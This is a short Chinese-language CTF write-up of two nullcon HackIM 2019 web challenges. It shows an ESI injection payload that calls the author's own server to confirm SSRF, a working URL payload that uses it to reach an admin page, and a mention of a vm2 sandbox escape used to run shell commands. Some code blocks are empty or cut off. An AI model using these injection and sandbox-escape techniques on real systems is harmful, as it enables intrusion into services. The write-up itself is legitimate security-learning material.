nullcon ctf 部分web
当时比赛的时候没有做出来。。真菜。。赛后学习一波,这次比赛很多的题都是nodejs的题,借此学习nodejs
环境
https://github.com/nullcon/hackim-2019
rfv blog
根据提交生成链接
可以xss
存在admin目录
于是猜测需要通过一个类似ssrf的地方去访问admin
当只访问http://52.36.15.23:8080/edge
时,出现报错
传了一个http://52.36.15.23:8080/edge?title=aaa&description[%22a%22]
爆了另一个错
搜到了一篇文章,关于ESI注入
https://www.anquanke.com/post/id/103641#h3-4
1 | Edge Side Includes (ESI) 是一种标记语言,主要在常见的HTTP代理(反向代理、负载均衡、缓存服务器、代理服务器)中使用。通过ESI注入技术可以导致服务端请求伪造(SSRF),绕过HTTPOnly cookie的跨站脚本攻击(XSS)以及服务端拒绝服务攻击。 |
ESI -> SSRF
于是尝试一下payload<esi:include src="http://vps:12345" />
成功在vps上收到请求
于是payload
1 | http://52.36.15.23:8080/edge?title=asd&description=111%3Cesi:include%20src=%22http://52.36.15.23:8080/admin%22/%3E |
getflaghackim19{h0w_Did_y0ou-Get_here}
BabyJS
给了一些使用方法
看样子是可以用一些js的函数,定义js变量
https://www.anquanke.com/post/id/157920#h2-0
网上找到了一个文章,利用利用child_process
模块的exec
函数来执行命令
于是利用代码
1 |
|
结果Error().stack
可以收集使用的模块信息
vm2沙箱绕过执行任意代码
看到了vm模块,网上很多vm沙箱绕过的文章
利用https://github.com/patriksimek/vm2/issues/186
1 | var process; |
成功执行whoami
ls一下
cat iamnotwhatyouthink